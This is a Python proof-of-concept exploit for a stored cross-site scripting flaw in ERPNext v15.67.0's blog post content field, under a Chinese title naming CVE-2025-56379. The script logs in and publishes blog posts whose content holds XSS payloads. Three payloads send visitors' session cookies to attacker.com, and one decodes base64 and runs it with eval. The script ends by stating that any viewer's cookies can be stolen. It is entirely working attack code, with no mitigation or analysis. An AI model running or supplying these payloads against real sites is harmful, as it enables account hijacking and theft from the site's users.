CVE-2025-56379：ERPNEXT博客功能存储型XSS漏洞

# CVE-2025-56379 - ERPNEXT Stored XSS PoC # Vulnerability: Stored XSS in Blog Post content field # Affected Version: ERPNEXT v15.67.0 import requests # Configuration TARGET_URL = "https://target-erpnext-site.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Login to ERPNEXT to obtain session cookies session = requests.Session() login_data = { "usr": USERNAME, "pwd": PASSWORD } login_response = session.post(f"{TARGET_URL}/api/method/login", json=login_data) print(f"Login status: {login_response.status_code}") # Step 2: Craft malicious XSS payload for the blog content field # Various payload options for bypassing filters xss_payloads = [ # Basic script tag payload "<script>alert('XSS-CVE-2025-56379');document.location='https://attacker.com/steal?c='+document.cookie</script>", # Img tag with onerror event handler "<img src=x onerror=\"alert(document.domain);fetch('https://attacker.com/log?data='+document.cookie)\">", # SVG tag with onload event handler "<svg onload=\"alert('Stored XSS');document.location='https://attacker.com/?cookie='+document.cookie\">", # HTML entity encoded payload "<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>" ] # Step 3: Create a blog post with the malicious payload for idx, payload in enumerate(xss_payloads): blog_data = { "title": f"Interesting Blog Post {idx}", "content": payload, "blog_category": "General", "published": 1 } create_response = session.post( f"{TARGET_URL}/api/resource/Blog Post", json=blog_data, headers={"Accept": "application/json"} ) print(f"Blog post {idx} creation status: {create_response.status_code}") print(f"Response: {create_response.text}") # Step 4: Verify the payload is stored and will execute when viewed # When any user visits the blog post page, the malicious script will execute print("\n[!] Malicious blog posts created successfully.") print("[!] When any user views these blog posts, the XSS payload will execute in their browser.") print("[!] Attacker can now steal session cookies, perform actions on behalf of victims, etc.")